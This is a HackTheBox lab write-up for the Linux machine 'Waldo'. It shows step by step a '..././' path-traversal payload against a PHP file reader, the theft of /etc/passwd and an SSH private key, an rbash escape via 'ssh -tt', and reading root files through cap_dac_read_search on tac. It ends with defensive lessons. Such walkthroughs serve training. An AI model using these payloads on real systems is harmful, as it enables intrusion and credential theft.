HTB: Waldo Writeup
Waldo - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Waldo |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.10.87 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Waldo is a medium-difficulty Linux machine that demonstrates the dangers of insufficient input validation in PHP file handlers, the security implications of Docker container misconfiguration, and a creative privilege escalation vector using Linux Capabilities instead of traditional SETUID binaries. The attack chain involves exploiting a directory traversal vulnerability to leak SSH credentials, escaping a restricted bash shell, and leveraging cap_dac_read_search to read privileged files without obtaining a root shell.
TL;DR: Directory traversal in PHP (..././ bypass) → SSH private key leak → Docker container foothold → rbash escape via SSH -tt flag → Linux Capabilities abuse (cap_dac_read_search+ei on /usr/bin/tac) → root flag.
Reconnaissance
Port Scanning
# Initial masscan for fast port discoverymasscan -p1-65535 10.10.10.87 --rate=1000 -e tun0
# Detailed nmap service scan on discovered portsnmap -sC -sV -T4 -p22,80,8888 10.10.10.87Results:
- Port 22/tcp — OpenSSH (open)
- Port 80/tcp — nginx 1.12.2 (open)
- Port 8888/tcp — filtered (no direct access from external network)
Service Enumeration
HTTP (Port 80)
The nginx web server hosts a “List Manager” application, providing functionality to create, view, and delete lists. The application uses AJAX calls to PHP backend scripts.
# Browse to the applicationfirefox http://10.10.10.87Inspecting the application in Burp Suite reveals several interesting endpoints:
dirRead.php— Lists directory contents (JSON response)fileRead.php— Reads file contentsfileWrite.php— Writes file contentsfileDelete.php— Deletes files
The dirRead.php endpoint accepts a path parameter set to /.list/ by default.
Vulnerability Assessment
Directory Traversal in PHP File Handlers
Testing the path parameter reveals that removing .list returns a top-level directory listing. Examining the source code of fileRead.php via the traversal shows the sanitization logic:
# Request fileRead.php source via dirRead.php traversal# POST to dirRead.php with path=/
# Then read fileRead.php source# POST to fileRead.php with file=fileRead.phpThe returned source code (after cleaning up JSON escape sequences) reveals:
<?phpif($_SERVER['REQUEST_METHOD'] === "POST"){ $_POST['file'] = str_replace(array("../", ".."), "", $_POST['file']); if(strpos($_POST['file'], "user.txt") === false){ $file = fopen("/var/www/html/" . $_POST['file'], "r"); $fileContent['file'] = fread($file,filesize($_POST['file'])); fclose(); } echo json_encode($fileContent);}Critical Flaw: The str_replace() function performs only a single-pass replacement. By providing ..././ as input, after removing ../, the remaining characters still form ../, allowing directory traversal.
Example:
- Input:
..././..././etc/passwd - After
str_replace:../../etc/passwd - Result: Directory traversal successful
Initial Foothold
Exploitation Path
Step 1: Directory Traversal to Enumerate Users
# Use Burp Repeater or curl to read /etc/passwd# POST to fileRead.php# file=..././..././..././..././etc/passwd
# Clean up JSON outputcat passwd_response.json | sed 's/\\n/\n/g' | sed 's/\\t/\t/g' | sed 's/\\//g' | grep shThe output reveals several users with login shells, including the nobody user with home directory /home/nobody.
Step 2: Enumerate SSH Keys
# List nobody's home directory# POST to dirRead.php with path=..././..././home/nobody
# Reveals .ssh directory exists# List .ssh contents# POST to dirRead.php with path=..././..././home/nobody/.ssh/The .ssh directory contains a private key file named .monitor.
Step 3: Extract SSH Private Key
# Read the .monitor private key# POST to fileRead.php with file=..././..././home/nobody/.ssh/.monitor
# Save and format the keycat monitor_key.json | sed 's/\\n/\n/g' | sed 's/\\t/\t/g' | sed 's/\\//g' > .monitorchmod 600 .monitorStep 4: SSH Access as nobody
# Connect using the extracted private keyssh nobody@10.10.10.87 -i .monitorSuccess! A shell is obtained as the nobody user.
Container Detection
Upon gaining access, several indicators suggest the shell is inside a Docker container:
# Check for Docker-specific filesls -la /.dockerenv
# Output: -rwxr-xr-x 1 root root 0 May 3 2018 /.dockerenv
# Examine cgroup informationcat /proc/self/cgroup
# Output shows docker container IDs in the cgroup pathsThe OS is Alpine Linux, a lightweight distribution commonly used for Docker containers.
Retrieve User Flag
cat /home/nobody/user.txtUser flag obtained: <redacted>
Privilege Escalation
Lateral Movement: Container to Host
Step 1: Network Enumeration
# Check listening ports from within containernetstat -an
# Shows port 8888 listening on localhostFurther examination using /proc/net/tcp parsing or inspection of SSH configuration reveals that the container shares the host’s localhost network namespace, and SSH is listening on port 8888 on the host.
# Check SSH configcat /etc/ssh/sshd_config | grep -i portStep 2: SSH to Host as monitor
The .monitor private key found earlier can be used to SSH from the container to the host:
# Initial attemptssh monitor@127.0.0.1 -i ~/.ssh/.monitorA shell is obtained, but executing commands returns:
-rbash: id: command not foundThis indicates a restricted bash (rbash) shell.
Restricted Shell Escape
Restricted bash prevents:
- Changing the
PATHvariable - Specifying absolute paths to commands
- Using redirection operators
- Changing directory
Bypass Technique: The SSH -t flag forces pseudo-terminal allocation, and specifying a command directly (bash) bypasses the rbash restrictions set in the user’s profile.
# Exit the current restricted shellexit
# Reconnect with TTY forcing and direct bash invocationssh -tt monitor@127.0.0.1 -i ~/.ssh/.monitor bashSuccess! An unrestricted shell is obtained as the monitor user.
# Set proper PATH for convenienceexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
# Verifyid# uid=1001(monitor) gid=1001(monitor) groups=1001(monitor)
pwd# /home/monitorPrivilege Escalation to Root
Enumeration of Capabilities
Traditional SETUID binary enumeration yields no results:
find / -perm -4000 -type f 2>/dev/nullA lesser-known privilege escalation vector involves Linux Capabilities — a mechanism to grant specific privileges to binaries without full SETUID root.
# Enumerate capabilities on all binariesgetcap -r / 2>/dev/nullOutput:
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei/usr/bin/tac = cap_dac_read_search+eiKey Finding: /usr/bin/tac has the cap_dac_read_search+ei capability.
Understanding cap_dac_read_search
This capability allows a process to:
- Bypass file read permission checks (DAC = Discretionary Access Control)
- Bypass directory search permission checks
Effectively, any file on the filesystem can be read, regardless of permissions, without needing root privileges.
Why tac? The tac utility is like cat but outputs lines in reverse order. By specifying a separator that doesn’t exist in the target file, the entire content is treated as a single line, maintaining the original order.
Exploiting the Capability
# Read the root flag using tac with a non-existent separator/usr/bin/tac -s @ /root/root.txtRoot flag obtained: <redacted>
Note: While the root SSH private key could also be read (/usr/bin/tac -s @ /root/.ssh/id_rsa), there was no authorized_keys file configured, so SSH access as root wasn’t possible. However, reading the flag was sufficient for the objective.
Attack Chain Summary
Directory Traversal (..././ bypass in fileRead.php) ↓SSH Private Key Disclosure (/home/nobody/.ssh/.monitor) ↓Foothold as nobody (Alpine Docker Container) ↓Lateral Movement (SSH to host via localhost:8888) ↓Restricted Shell Escape (ssh -tt monitor@127.0.0.1 bash) ↓Linux Capabilities Abuse (cap_dac_read_search+ei on /usr/bin/tac) ↓Root FlagTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
masscan | Fast initial port discovery |
| Burp Suite | Web proxy for request manipulation and analysis |
ssh | Remote shell access and lateral movement |
sed | Stream editor for JSON cleanup and formatting |
getcap | Linux Capabilities enumeration |
/usr/bin/tac | File reading with elevated capabilities |
Key Learnings
Techniques Practiced
- Input Validation Bypass: Single-pass string replacement can be defeated with recursive patterns (
..././) - Docker Container Detection: Identifying containerized environments via
/.dockerenvand/proc/self/cgroup - Restricted Shell Escape: Using SSH flags (
-t,-tt) to bypass rbash restrictions by forcing PTY allocation - Linux Capabilities Enumeration: Using
getcapto find binaries with elevated privileges beyond SETUID - Privilege Escalation via Capabilities: Exploiting
cap_dac_read_search+eito bypass file read permissions
Lessons Learned
-
Defense in Depth for Input Sanitization: Never rely on single-pass replacement for security. Use whitelist validation, canonicalization, or recursive replacement until no changes occur. The
str_replace()pattern is a common anti-pattern in PHP applications. -
Container Breakout Awareness: Docker containers sharing the host’s localhost can create lateral movement opportunities. Network namespaces should be properly isolated, and SSH access between containers and hosts should be carefully controlled.
-
Restricted Shells Are Not Security Boundaries: Rbash and similar restricted shells can often be bypassed through SSH options, command injection, or exploitation of allowed commands. They should not be relied upon as a primary security control.
-
Linux Capabilities Require Careful Auditing: While capabilities provide fine-grained privilege control, certain capabilities like
cap_dac_read_searchare nearly as powerful as root for specific operations. Regular auditing withgetcapshould be part of security assessments. -
Defense Without Detection: The
cap_dac_read_searchcapability allows silent privilege escalation without spawning a root shell, potentially evading detection systems that monitor for privilege escalation via traditional methods (su, sudo, SETUID binaries).
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup for Waldo (Document No D18.100.31) by egre55
- “The Restricted Shell” - GNU Bash Manual: https://www.gnu.org/software/bash/manual/html_node/The-Restricted-Shell.html
- “Linux Capabilities - A friend and foe” by m0noc: https://blog.m0noc.com/2016/05/linux-capabilities-friend-and-foe.html
- “getcap/setcap Reference” - Insecure.ws: https://www.insecure.ws/linux/getcap_setcap.html
- “Netstat without netstat” by Etienne Stalmans: https://staaldraad.github.io/2017/12/20/netstat-without-netstat/